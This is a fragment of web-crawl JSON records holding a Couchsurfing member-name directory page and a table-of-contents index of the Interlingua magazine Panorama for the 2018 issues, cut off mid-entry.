0.016002416610717773, \"ast_Latn_score\": 0.01537178736180067, \"srd_Latn_score\": 0.014585666358470917, \"dag_Latn_score\": 0.014311441220343113, \"eus_Latn_score\": 0.01119662169367075, \"scn_Latn_score\": 0.010485422797501087}","num_words":113,"character_repetition_ratio":0.135,"word_repetition_ratio":0.115,"special_characters_ratio":0.32,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.25,"perplexity_score":7720.9,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Peter Iliev||Peter Ingram|\n|Peter Iliev||Peter Ingtoft|\n|Peter Ilinov||Peter Ingwersen|\n|Peter Illes||Peter Ingwersen|\n|Peter Illes||Peter Inizan|\n|Peter Illes||Peter Injoque|\n|Peter Illés||Peter Injoque Velezmoro|\n|Peter Illes||Peter Inked|\n|Peter Illes||Peter Innerhofer|\n|Peter Illhardt||Péter Inóci|\n|Peter Illhardt||peter Inpan|\n|Peter Illich||Peter Iodice|\n|Peter Illig||peter iones|\n|Peter Illner||peter iosch|\n|Peter Illo||peter iosch|\n|Peter Illum||Peter Ip|\n|Peter Ilmert||Peter Ip|\n|Peter Ilyin||Peter Ip|\n|Peter Im||Peter Ip|\n|peter imade||Péter Ipolyi|\n|Peter Imai||Peter Ireland|\n|Peter Imascono||Peter Irgendwie|\n|Peter Imbong||Peter Irie|\n|Peter Imhof||Peter Iron|\n|Peter Imhof||Peter Ironmint|\n|Peter Imhof||Peter Irungu Gikungu|\n|Peter Imholz||Peter Irvine|\n|Peter Immel||Peter Irving|\n|Peter Immer||Peter Irving|\n|Peter Imoesi||Peter Irving Corvera|\n|Peter Impe||Peter Irwin|\n|Peter Impeezee||Peter Irwin|\n|Peter Imrich||Peter Irwin|\n|Peter Imrich||Peter Isaac|\n|Peter Imrich||Peter Isaac|\n|peter in||peter Isaac|\n|Peter in Dallas||Peter Isaacson|\n|Peter in Sofia||Peter Isaacson|\n|Peter Ince||Peter Isaak|\n|Peter Indri||Peter Isabirye|\n|Peter Ing||Peter Isachenko|\n|Peter Ingelsson||Peter Isberg|\n|Peter Ingemann||Peter Ischka|\n|peter ingeri||Peter Isemann|\n|Peter Ingersoll||Peter IsGone|\n|Peter Inglesby||Peter Ishak|\n|Peter Ingman||Peter Ishak|\n|Peter Ingraham||Peter Ishaq|\n|Peter Ingram||Peter Ishin|\n|Peter Ingram||peter iskander|","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.couchsurfing.com\/directory\/P-31-73","date":"2018-03-24T04:48:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649683.30\/warc\/CC-MAIN-20180324034649-20180324054649-00149.warc.gz","language":"ina","language_score":0.378262192,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3782621920108795, \"som_Latn_score\": 0.10275330394506454, \"kal_Latn_score\": 0.07534926384687424, \"dag_Latn_score\": 0.05544145405292511, \"scn_Latn_score\": 0.02035636268556118, \"anp_Deva_score\": 0.01986861601471901, \"qve_Latn_score\": 0.01809588633477688, \"glg_Latn_score\": 0.016065025702118874, \"lim_Latn_score\": 0.014685945585370064}","num_words":502,"character_repetition_ratio":0.179,"word_repetition_ratio":0.024,"special_characters_ratio":0.25,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.19,"perplexity_score":32885.8,"cluster_detection":-1} +{"text":"Iste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition. Columna 1 es le pagina, columna 2 le rubrica del articul(ett)o, columna 3 le subrubrica eventual, columna 4 le autor\/marca, columna 5 le typo de articulo.\n\n\nNo. 1\/2018, januario-februario\n|1||Invitation al incontro nordic de interlingua||Le quatro organisationes nordic de interlingua invita al incontro estive traditional – cinque dies con interlingua e cursos.||Copertura|\n|1||Muro de Berlin ha jubileo special||Via tante tempore como illo stava.||Copertura|\n|1||Homines e guitarras||Copertura|\n|1||Capo Verde explorate||Copertura|\n|1||Novas de interlingua||Cinque paginas con novas, nomines e un necrologia||Copertura|\n|1||Conto humoristic||Copertura|\n|2+3||Incontro nordic de interlingua in julio in \"le Insula del Sol\"||Reserva le 25-29 de julio pro participar in le 16te incontro nordic de interlingua in le phantastic insula danese Bornholm.||Breinstrup, Thomas||Novas de interlingua|\n|3||Benvenite!||Novas de interlingua|\n|3||Conferentia in septembre 2019||Le datas del 23e conferentia international de interlingua in 2019 es preste. Le UMI invita propositiones pro le location.||Novas de interlingua|\n|4||Nos, le \"ingenieros lingual\"!||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Le Muro de Berlin via tante tempore como illo stava||Le germanos marcava in februario un jubileo exceptional in le centro del capital.||Breinstrup, Thomas||Nova|\n|6||Le Tapis de Bayeux abandonara Francia||Le tapis historic debe esser exhibite in Grande Britannia e assi debe abandonar Francia pro le prime vice durante 950 annos.||Breinstrup, Thomas||Nova|\n|6||3.000.000 aves disparite||Th.||Nota|\n|7||Le ver Papa Natal non esseva furate||Trovata archeologic surprende.||Th.||Nova|\n|7||Paris sub aqua||Nota|\n|7||1.028 rhinos occidite||Nota|\n|7||Macedonia ancora disputate||Nota|\n|7||Conversation actual: e-libro||Nota|\n|8||Tibet e Taiwan removite||Th.||Nota|\n|8||Prohibition contra ebore||Th.||Nota|\n|8||Conversation actual: Jocos Olympic||Nota|\n|8||Pakistan planta un milliardo arbores||Le forestes cresce de novo post le plantation enorme durante solmente duo annos.||Th.||Nova|\n|9||Compromisso nordic de linguas official||Le position de finnese e islandese essera ameliorate ma non deveni official in le collaboration nordic.||Breinstrup, Thomas||Nova|\n|9||Panorama digital||Annuncio|\n|9||Practica interlingua||Annuncio|\n|10||Interlingua pro viagiatores german||Novas de interlingua|\n|10||Nove materiales gratuite pro cursos||Novas de interlingua|\n|10||Ballada de un dracon||Novas de interlingua|\n|11||Activista a 80: Kjell Rehnström||I.S.||Anniversario|\n|11||Inspirator a 80: Ingrid Ivarsson||I.S.||Anniversario|\n|11+12||Musico a 80: Sven Berger||Th.||Anniversario|\n|12||Un tresor a 80: Erik Enfors||Stenström, Ingvar||Anniversario|\n|12||Luctator a 90: Jan Årmann||Stenström, Ingvar||Anniversario|\n|13||Ex-presidente moriva: Bertil Palmquist||Th.||Necrologia|\n|14||Ancora plus de signos in interlingua||Novas de interlingua|\n|14||Plus de films in interlingua||Novas de interlingua|\n|14||Materiales gratuite de interlingua||Novas de interlingua|\n|15||Le parolas del mense||Breinstrup, Thomas||Le parolas del mense|\n|16 + 17 + 18 + 19||Insulas incognoscite in le Atlantico||Le insulas Capo Verde ha sol circa 350 dies per anno. Panorama visitava un altere mundo.||Pontnau, Robert||Viages|\n|20||Quatro mini-dictionarios gratuite||Th.||Libros|\n|20||Nove publicationes in interlingua||Libros|\n|21||Grande dictionario in nove formato||André Schild: \"Wörterbuch Deutsch-Interlingua\"||Th.||Libros|\n|21||\"Interlingua Today\" preste de novo||F.P. Gopsill: \"Interlingua Today\"||Th.||Libros|\n|21||Medie milliardo de Harry Potter||Th.||Nota|\n|21||Nomine con apostropho prohibite||Th.||Nota|\n|21||Conversation actual: best-seller||Nota|\n|22+23||Le casa de hiberno de Soapy||Traduction in interlingua: Italo Notarstefano||Henry, O.||Litteratura|\n|23||Proverbios||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Taxis famose cambiara color||Th.||Le mundo actual|\n|24||Google Sheepview preste||Th.||Le mundo actual|\n|24||Le majoritate senti gaudio||Th.||Le mundo actual|\n|24||Tassa de caffe a recyclar||Th.||Le mundo actual|\n|24||Currero celava litteras pro annos||Th.||Le mundo actual|\n|25||Lupos retorna a Belgica||Th.||Le mundo actual|\n|25||Au revoir al smartphone||Th.||Le mundo actual|\n|25||Nove giraffa||Th.||Le mundo actual|\n|25||Prime autobus sin conductor||Th.||Le mundo actual|\n|25||Teenager attingeva le Polo Sud||Th.||Le mundo actual|\n|26||Sex similaritates inter un homine e guitarra||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Daniel Weingärtner||Novas de nomines|\n|28||Marcus Scriptor||Novas de nomines|\n|28||Firefox||Novas de nomines|\n|28||João Salgado Silva||Novas de nomines|\n|28||Barbara Rubinstein||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 2\/2018, martio-april\n|1||Pascha in Sevilla||Grandissime processiones religiose plena tote le centro ancian e attrahe milliones. Panorama reporta ab le sud de Espania.||Copertura|\n|1||Yeager ha morite||Le presidente del Union Mundial pro Interlingua 1993-1999 e recognoscite economo habeva 93 annos.||Copertura|\n|1||5 dies con interlingua||25-29 de julio||Copertura|\n|1||Sex paises celebra 100 annos in 2018||Centenario extraordinari in Europa.||Copertura|\n|1||Amate animales||Copertura|\n|1||Ultime rhinocerote mascule moriva||Un specie deveni extincte.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Grande germanos e dictionarios tchec||Nove libros in interlingua.||Copertura|\n|1||Morto se move||Copertura|\n|2+3||Leland B. Yeager ha morite, 93 annos||Necrologia||Breinstrup, Thomas||Necrologia|\n|4||Interlingua non es secrete e non un secreto||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||5 dies: cursos intensive de interlingua||Annuncio|\n|6||Sex paises celebra 100 annos in 2018||Le fin del Prime Guerra Mundial significava le nascentia de nove statos. Sex de illos celebra lor 100esime anniversario iste anno.||Breinstrup, Thomas||Nova|\n|7||Kazakhstan: Russo totevia non prohibite||Le presidente debeva cambiar su annunciamento que omne ministros e parlamentarios debeva parlar solmente kazakh.||Breinstrup, Thomas||Nova|\n|7||Bulgaria se contrahe le plus||Th.||Nota|\n|7||Nove libro per Tolkien||Th.||Nota|\n|8||Swaziland cambia nomine||Th.||Nota|\n|8||Recolta antarctic un successo||Th.||Nota|\n|8||Conversation actual: denuclearisation||Th.||Nota|\n|8||Tortucas de mar se neca in plastico||Pollution periculose in le mares.||Th.||Nova|\n|9||Ultime rhinocerote mascule ha morite||Le mundo risca tosto perder le ultime possibilitate de salvar un specie rar del rhinocerote – ma forsan il ha ancora un chance.||Th.||Nova|\n|9||Practica interlingua||Annuncio|\n|10||400e anniversario del expedition a Nove Dania||Le explorator dano-norvegian Jens Munk arrivava a Canada in 1619.||R.S||Nova|\n|11||Parco popular in Paris in le centro de lucta contra autos||Un tribunal judica que le consilio municipal de Paris faceva errores ante clauder un strata central pro autos. Ma le burgomaestro mantene le prohibition.||Breinstrup, Thomas||Nova|\n|11||Sitos historic preservate in 3D||Th.||Nota|\n|12||Interlingua parlate in museos||Novas de interlingua|\n|12||Indice de Panorama cresce sempre||Novas de interlingua|\n|12||Un poema in quatro linguas||Novas de interlingua|\n|12||Active gruppo de Facebook||Novas de interlingua|\n|13||Ancora quatro cartas nordic||Novas de interlingua|\n|13||Nove productos in interlingua||Novas de interlingua|\n|13||Tres nove viages con interlingua||Novas de interlingua|\n|14||In le jardin||Breinstrup, Thomas||Le parolas del mense|\n|14||Mini-guida: Le tempore fugi||Breinstrup, Thomas||Le parolas del mense|\n|15||Homine de 2.400 annos batte su palpebras de novo||Museo danese revivifica trovata ancian in forma digital.||Breinstrup, Thomas||Scientia|\n|16||Nulle fame plus – mangia le herba||Le herba contine proteina, e ora scientistas ha trovate un methodo pro extraher lo.||Th.||Scientia|\n|16||Glacieros groenlandese disgela plus||Le velocitate per le qual le glacieros dispare es le plus rapidemente jammais.||Th.||Scientia|\n|17||Numero prime de 23 milliones cifras||Discoperta special mathematic.||Th.||Scientia|\n|17||Tumba de 4.400 annos trovate||Th.||Nota|\n|17||Nomines svedese a insectos||Th.||Nota|\n|17||Urbe maya trovate||Th.||Nota|\n|18||Grande scriptores german||\"Grande scriptores german – Un collection de classicos in interlingua\"||Th.||Libros|\n|18||Pinocchio plus facile a comprar||Carlo Collodi: \"Le aventuras de Pinocchio\"||Th.||Libros|\n|19||Duo dictionarios tchec es preste||Eva Hájková, Oldrich Mechura, Bohdan Šmilauer: \"Dictionario interlingua-tcheco\" + \"Dictionario tcheco-interlingua\"||Th.||Libros|\n|19||Audiolibros in interlingua pro omnes||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20+21||Pascha in Sevilla un experientia del vita||Le grandissime processiones religiose plena tote le centro ancian. Un experientia fascinante que attrahe milliones – e limita le possibilitates de manovrar como tourista.||Breinstrup, Thomas||Viages|\n|22||Fragmento||Traduction in interlingua: Italo Notarstefano||Scliar, Moacyr||Litteratura|\n|23||Un action legal||Traduction in interlingua: Italo Notarstefano||Bierce, Ambrose||Litteratura|\n|23||\"gilets\"||Krause, Catherine B.||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Bisquites minor a causa de Brexit||Th.||Le mundo actual|\n|24||Elephante no. 3 intra sex menses||Th.||Le mundo actual|\n|24||Nove pais es le plus felice||Th.||Le mundo actual|\n|24||Disparite porta-aviones trovate||Th.||Le mundo actual|\n|25||Chagall retrovate post 30 annos||Th.||Le mundo actual|\n|25||Arbore antique cadeva||Th.||Le mundo actual|\n|25||Le homine le plus vetere ha 112||Th.||Le mundo actual|\n|25||SMS in vice de altoparlatores||Th.||Le mundo actual|\n|25||Nota de 0 euro vende ben||Th.||Le mundo actual|\n|26||Le amate animales del infantes||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Alberto Mardegan||Novas de nomines|\n|28||Ruth Eide Knutson e Åsmund Knutson Aukland||Novas de nomines|\n|28||Marcus Scriptor||Novas de nomines|\n|28||Elly \"Angela\" Engel-van Amersfoort||Novas de nomines|\n|28||Quatro mini-dictionarios gratuite||Interlingua|\n\n\nNo. 3\/2018, maio-junio\n|1||Macedonia solve disputa de nomine||Grecia e Macedonia ha post 27 annos attingite un accordo. Isto pote devenir le billet de Macedonia al Union Europee e OTAN.||Copertura|\n|1||Glacie antarctic disgela in haste||Scientistas reporta de un developpamento periculose.||Copertura|\n|1||5 dies con interlingua||Copertura|\n|1||Un visita in Mini Britannia||Copertura|\n|1||Manco de gambon menacia in Espania||Maladia de arbores crea timor.||Copertura|\n|1||\"Juvene e belle\"||Copertura|\n|1||Le persona sedente inter vostre vicinos...||Da un mano a interlingua.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Astronomo famose non assassinate||Nulle conspiration involvite.||Copertura|\n|1||Bon lectura estive||Copertura|\n|2+3||Macedonia e Grecia post 27 annos se accorda de nomine||Macedonia del Nord devenira le solution del disputa que ha impedite le republica ex-yugoslave de devenir membro del Union Europee e del OTAN.||Breinstrup, Thomas||Nova|\n|4||Le persona sedente inter vostre vicinos...||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||5 dies: cursos intensive de interlingua||Annuncio|\n|6||Gambon espaniol in periculo de mancar||Un maladia de arbores pote haber influentia decisive al appreciate delicatessa iberic.||Breinstrup, Thomas||Nova|\n|6||Groenlandia perde habitantes||Th.||Nota|\n|7||Baobabs mori subito post milles de annos||Novem de 13 vetere arbores african mori a causa de cambios climatic.||Th.||Nova|\n|7||Minus de europarlamentarios||Th.||Nota|\n|7||Hamburg prohibi autos diesel||Th.||Nota|\n|8+9||Astronomo famose non assassinate||Le theorias de conspiration super le morte de Tycho Brahe debe esser oblidate – ille simplemente esseva troppo grosse.||Breinstrup, Thomas||Nova|\n|8||Practica interlingua||Annuncio|\n|9||Corea del Nord adjusta le tempore||Le differentia de un medie hora inter le duo Coreas esseva de novo eliminate le 5 de maio.||Th.||Nova|\n|10||Antarctica perdeva billiones tonnas de glacie in 25 annos||Le glacie dispare con triple velocitate desde 2012, monstra studio comprehensive.||Breinstrup, Thomas||Nova|\n|11||Le megaurbes cresce e cresce||In 2050 duo tertios del population vivera in urbes, monstra reporto del Nationes Unite.||Th.||Nova|\n|11||Libreros como hereditage mundial||Nota|\n|11||Museo discoperi picturas false||Nota|\n|12||Plus de activitates in Brasil||Novas de interlingua|\n|12||Magazin brasilian appare de novo||Novas de interlingua|\n|12||Un tractamento secur de tu datas personal||Novas de interlingua|\n|12||Tresorero danese se retira||Novas de interlingua|\n|13||Episodio no. 25 con conversationes||Novas de interlingua|\n|13||Interlingua attrahe interlingua||Novas de interlingua|\n|13||Plus de nove films in interlingua||Novas de interlingua|\n|13||Benvenite al primavera in Russia||Novas de interlingua|\n|14+15||Libros pro un bon estate||Libros|\n|16||Supplemento cresce de novo||Libros|\n|16||Grammatica de interlingua in tcheco||Libros|\n|16||Un parte de Tolkien in interlingua||Libros|\n|16||Nove publicationes in interlingua||Libros|\n|16||www.interlingua.com\/litteratura||Annuncio|\n|17||Al plagia||Breinstrup, Thomas||Le parolas del mense|\n|17||Le signos in interlingua||Breinstrup, Thomas||Le parolas del mense|\n|18||Nulle nove secreto detra Tutankhamon||Specialistas italian exclude le existentia de ancora un tumba que haberea potite esser illo de regina Nefertiti, ancora non trovate.||Breinstrup, Thomas||Scientia|\n|19||Finalmente guarda effective pro rhinos||Surveliantia functiona e salve vita.||Th.||Scientia|\n|19||Plus de gorillas de montania||Th.||Nota|\n|19||Chirurgia complicate inter incas||Th.||Nota|\n|19||Nove tracias del etate de petra||Th.||Nota|\n|20+21||Un visita al rocca con \"Mini Britannia\"||Gibraltar es un experientia unic in le sud de Espania – ma on non sempre sape, si illo es real.||Breinstrup, Thomas||Viages|\n|22+23||Un nascentia||Notarstefano, Italo||Litteratura|\n|23||Ama tu litteratura?||Annuncio|\n|24||Duo nove cantos ab ABBA||Th.||Le mundo actual|\n|24||Galeria aperiva pro nudistas||Th.||Le mundo actual|\n|24||Lucta german super formas feminin||Th.||Le mundo actual|\n|24||Billetes gratuite a 15.000 juvenes||Th.||Le mundo actual|\n|25||Vacca bulgare causa problemas||Th.||Le mundo actual|\n|25||Troppo alte pro basketball||Th.||Le mundo actual|\n|25||Bon die a nove parolas in francese||Th.||Le mundo actual|\n|26||Young and beautiful||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Klavs Neerbek||Novas de nomines|\n|28||Stefan Zweig||Novas de nomines|\n|28||Anders Blixt||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 4\/2018, julio-augusto\n|1||Successo nordic con cerebros creative||Grande reportage del 16e incontro nordic de interlingua.||Copertura|\n|1||Benvenite al 23e conferentia de interlingua in Praga in 2019||Le capital tchec es le hospite del proxime conferentia international de interlingua in septembre 2019.||Copertura|\n|2+3||Cerebros creative inspira a initiativas pro interlingua||Grande inspiration e labor effective durante le jubilante incontro nordic.||Breinstrup, Thomas||Novas de interlingua|\n|3||Audio pro duo conversationes||Th.||Novas de interlingua|\n|4||Mille gratias al heroes del successo!||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Le conferentia 2019 essera in Praga||Le capital tchec essera urbe hospite del 23e conferentia international de interlingua in septembre 2019.||Breinstrup, Thomas||Conferentia de interlingua|\n|6+7||Offensiva debe ameliorar imagine de interlingua||Plus de mention public es decisive pro interlingua que es troppo invisibile – e debe devenir plus quotidian.||Breinstrup, Thomas||Novas de interlingua|\n|7||Poeta productive presentava||Th.||Novas de interlingua|\n|8||Interlingua in ecclesia rotunde||Th.||Novas de interlingua|\n|8||200 horas pro crear dictionario||Th.||Novas de interlingua|\n|8||Libro blanc debe avantiar interlingua||Le dece rationes le plus importante pro usar interlingua colligite.||Th.||Novas de interlingua|\n|9||Software veni in interlingua||Th.||Novas de interlingua|\n|9||Nove brochure informative danese||Th.||Novas de interlingua|\n|9||Interlingua in maltese e macedone||Th.||Novas de interlingua|\n|10||Cursos intensive in le calor||Novas de interlingua|\n|10||Conversation al terrassa||Novas de interlingua|\n|10||Nove badge||Novas de interlingua|\n|11||Mini-reclamos debe promover interlingua||Un nove arma creative se developpa.||Th.||Novas de interlingua|\n|11||Nbon parolas del incontro nordic||Novas de interlingua|\n|12||Nulle excursion sin gelatos||Novas de interlingua|\n|12||Guidantia in interlingua||Novas de interlingua|\n|12||Sessiones vivente||Novas de interlingua|\n|12||Motivos memorabile||Novas de interlingua|\n|12||Festa||Novas de interlingua|\n|12||Lunch in le jardin||Novas de interlingua|\n|13||Benvenita invisibile||Novas de interlingua|\n|13||Libros e brochures||Novas de interlingua|\n|13||Benvenite al 23e conferentia de interlingua in Praga in 2019||Novas de interlingua|\n|13||Recipe Panorama digital!||Annuncio|\n|14||Interlingua confundeva traductores||Novas de interlingua|\n|14||Jubileo de 20 annos in Finlandia||Novas de interlingua|\n|14||Tres nove episodios con pensatas||Novas de interlingua|\n|15||Google, Microsoft e Apple in interlingua||Informationes fundamental pro software del gigantes es traducite in interlingua como parte del standardisation international.||Breinstrup, Thomas||Novas de interlingua|\n|16||Ultime edition del Almanac||Novas de interlingua|\n|16||Nove tresorero danese||Novas de interlingua|\n|16||Conversation in interlingua||Novas de interlingua|\n|16||Citation del mense||Novas de interlingua|\n|16||Multe materiales de interlingua||Novas de interlingua|\n|17||Motor brasilian rola in interlingua||Conferentia brasilian in octobre e grande activitates in le organisation.||Th.||Novas de interlingua|\n|18||Nove grammatica in portugese||Th.||Libros|\n|18||Grammatica pro tchecos a expectar||Th.||Libros|\n|18||Nove publicationes in interlingua||Libros|\n|19||Le alphabeto de interlingua||Breinstrup, Thomas||Le parolas del mense|\n|20+21||Sin pietate||Traduction in interlingua: Italo Notarstefano||de Mille, W.||Litteratura|\n|22+23||Episodio al Lemano||Traduction in interlingua: René Hartmann||Zweig, Stefan||Litteratura|\n|24||Nemo comprava Figaro per Mozart||Th.||Le mundo actual|\n|24||Prime femina de Bond moriva||Th.||Le mundo actual|\n|24||60 annos con le 'schtroumpfs'||Th.||Le mundo actual|\n|24||Dormi ben con le derectos||Th.||Le mundo actual|\n|25||Record mundial de baniar nude||Th.||Le mundo actual|\n|25||Ex-presidente nove chef in le NU||Th.||Le mundo actual|\n|25||Pista volante pro bicyclistas||Th.||Le mundo actual|\n|25||Tremor de terra leva insula||Th.||Le mundo actual|\n|25||Champagne excellente de 2018||Th.||Le mundo actual|\n|26||Duo rasarios||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Kenneth Platter||Novas de nomines|\n|28||Internovas||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 5\/2018, septembre-octobre\n|1||Le ludo imbroliate de un nove tractato||Indelicate trucs politic esseva usate pro obtener un accordo de commercio. Panorama revela le ludo imbroliate.||Copertura|\n|1||Attacco a Alzheimer||Post 400 essayos van scientistas finalmente spera poter developpar un cura contra le maladia de dementia.||Copertura|\n|1||Quante colores ha il?||Il es plus difficile que expectate saper exactemente qual color es qual.||Copertura|\n|1||Es isto le centro del universo?|\n|1||Nove chef del Servicio de Libros||Ruud Harmsen vende le libros.||Copertura|\n|1||Musica graphic||Copertura|\n|1||Europa quita le hora de estate in 2019||Fin de cambiar tempore.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Duo novellas in interlingua||Lege Zweig e Gautier.||Copertura|\n|1||Duo perlas de Gode||Copertura|\n|2||Avantiamento decisive contra Alzheimer||Post 400 essayos van scientistas finalmente spera poter developpar un cura contra le maladia que causa dementia.||Breinstrup, Thomas||Nova|\n|3||Europa quita le hora de estate in 2019||In octobre 2019 le horologios non plus debe cambiar duo vices per anno.||Breinstrup, Thomas||Nova|\n|4||Da un mano a Panorama, gratias||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Nove chef del Servicio de Libros||Ruud Harmsen ha le 24 de septembre assumite le carga de vender libros e litteratura in e super interlingua.||Breinstrup, Thomas||Novas de interlingua|\n|5||Compra libros||Novas de interlingua|\n|6+7+8||Quante colores ha il de facto?||Il se monstra esser plus difficile que expectate saper exactemente qual color es qual – e assi quante colores il ha in total. Ma Panorama essaya calcular.||Rinaldi, Cláudio||Nova|\n|8||Macedonia continua verso cambio||Th.||Nota|\n|8||Bicyclar da minus de taxa||Th.||Nota|\n|9+10+11||Le ludo imbroliate de un nove accordo de commercio libere||Indelicate trucs politic esseva usate pro obtener un nove accordo nord-american del commercio libere. Panorama presenta le processo e le perspectivas.||Sorfleet, Richard W.||Nova|\n|12||Internovas deveni mensual||Novas de interlingua|\n|12||Invia un salute a Brasil||Novas de interlingua|\n|12||Minidictionario serbocroate preste||Novas de interlingua|\n|12||Consilios conferential colligite||Novas de interlingua|\n|12||Scribe in interlingua al telephono||Novas de interlingua|\n|12||Additiones in interlingua a Mozilla||Novas de interlingua|\n|12||Le piano cantante in interlingua||Novas de interlingua|\n|13||Prime o primo – o un?||Breinstrup, Thomas||Le parolas del mense|\n|13||Le datas in interlingua||Breinstrup, Thomas||Le parolas del mense|\n|13||Le saisones e datas special||Breinstrup, Thomas||Le parolas del mense|\n|14||Anima de interlingua in duo perlas||Alexander Gode: \"Discussiones de interlingua\" + \"Dece contos\"||Th.||Libros|\n|14||Nove publicationes in interlingua||Libros|\n|15||Discoperi un tresor de interlingua||Carlos Soreto: \"Dictionario de cognatos\"||Th.||Libros|\n|15||Recipe Panorama digital!||Interlingua|\n|16||Expertos crea rhinocerote hybride||Il ha ancora un spero que on pote revivificar un certe specie de rhinocerotes, mesmo si le ultime masculo moriva in martio.||Th.||Scientia|\n|17||Plus de gorillas vive in Africa||Le population de gorillas de montania ha crescite a plus que 1.000 durante octo annos.||Th.||Scientia|\n|17||Congo aperi parcos pro oleo||Th.||Nota|\n|17||Muro de Adriano furate||Th.||Nota|\n|17||Scolio de corallos salvate||Th.||Nota|\n|18+19||Si, on bicycla in le paradiso||Un parve perla de un insula, que un vice quasi esseva le centro del universo, vale esser explorate.||Breinstrup, Thomas||Viages|\n|20+21||Episodio al Lemano||Parte 2. Traduction: René Hartmann||Zweig, Stefan||Litteratura|\n|22+23||Le pede del mumia||Traduction in interlingua: Italo Notarstefano||Gautier, Théophile||Litteratura|\n|24||Carotas enormemente longe||Th.||Le mundo actual|\n|24||Charles Aznavour moriva||Th.||Le mundo actual|\n|24||1,7 mio. tonnas de pan perdite||Th.||Le mundo actual|\n|24||Francia claude central nuclear||Th.||Le mundo actual|\n|25||\"Le TGV francese es morte\"||Th.||Le mundo actual|\n|25||Jubileo de canto de Natal||Th.||Le mundo actual|\n|25||Nove colibri discoperite||Th.||Le mundo actual|\n|26||Animation graphic de musica||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Ramiro B. de Castro||Novas de nomines|\n|28||Martin Lavallée||Novas de nomines|\n|28||Carmelo Serraino||Novas de nomines|\n|28||Daniel Weingärtner||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 6\/2018, novembre-decembre\n|1||Preste pro 2019||Panorama presenta alcun del eventos e anniversarios importante.||Copertura|\n|1||Conferentia in le centro de Praga||Le arrangiatores expecta grande participation in le 23e conferentia international de interlingua in 2019.||Copertura|\n|1||\"Stille Nacht\" celebra 200 annos||Un mus in le organo creava le canto de Natal le plus famose.||Copertura|\n|1||Jeanne Martinet 1920-2018||Un grande dama, le associato distinguite del UMI, ha morite.||Copertura|\n|1||Cambios dramatic pro salvar le climate||Actiones urgente es necessari||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Le libros le plus popular de 2019||Iste libros esseva favoritos.||Copertura|\n|1||Duo novellas||Copertura|\n|1||Trovata sensational in Pompeii||Data de explosion movite.||Copertura|\n|1||Le pasta basta||Copertura|\n|2+3||Es tu preste pro comenciar 2019?||Ecce alcun del multe eventos que va occurrer in le nove anno.||Breinstrup, Thomas||Nova|\n|4||Supporta interlingua ancora plus in 2019||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Conferentia 2019 in le centro de Praga||Le arrangiatores expecta grande interesse pro participar e dice benvenite a nove e plus experte usatores de interlingua.||Breinstrup, Thomas||Conferentia de interlingua|\n|6||Omne linguas es equal||Th.||Nota|\n|6||Majoritate pro nove nomine||Th.||Nota|\n|6||Vole mover cadavere de Franco||Th.||Nota|\n|6||2017 batteva record de tempore extreme||Paises developpamental colpate.||Th.||Nova|\n|7||Cambios dramatic es necessari pro salvar le climate||Le pannello climatic del Nationes Unite demanda actiones urgente pro limitar le temperaturas crescente que pote causar catastrophes.||Breinstrup, Thomas||Nova|\n|8||Le mus de Disney celebra 90 annos||Mickey Mus creava le fundamento del production de Walt Disney ma esseva ultrapassate per un anate.||Breinstrup, Thomas||Nova|\n|8||Autobus e traino grauite in Luxemburg||Th.||Nota|\n|9||Eterne hora estive postponite a 2021||Le 28 paises del Union Europee totevia non es de accordo super le tempore futur.||Breinstrup, Thomas||Nova|\n|9||Romanos cultivava libertate religiose||Templo construite per romanos adora le dea local del mar.||Haar, Ronald ter||Nova|\n|10||Successose incontro brasilian||Novas de interlingua|\n|10||Calendario pro 2019 es preste||Novas de interlingua|\n|11||Nove tresorero ma nulle presidente||Novas de interlingua|\n|11||Adjuta al Die de Interlingua||Novas de interlingua|\n|12||Activitates durante le hiberno||Breinstrup, Thomas||Le parolas del mense|\n|13||Redactor gastronomic cercate||Novas de interlingua|\n|13||Memora pagar membrato pro 2019||Novas de interlingua|\n|13||Relege Internovas anno 1994||Novas de interlingua|\n|13||Lege le historia de interlingua||Novas de interlingua|\n|13||Cartas nordic pro cursos||Novas de interlingua|\n|14+15||Un grande dama de 98 annos ha morite||Jeanne Martinet, associato distinguite del Union Mundial pro Interlingua (UMI) desde 2009, moriva le 6 de novembre.||Mahé-Potet, Alix; Mahé, Madeleine||Necrologia|\n|16||Curso esseva le plus popular||Libros|\n|16||Contos capriciose de un maestro||Alexander Gode: \"Un dozena de breve 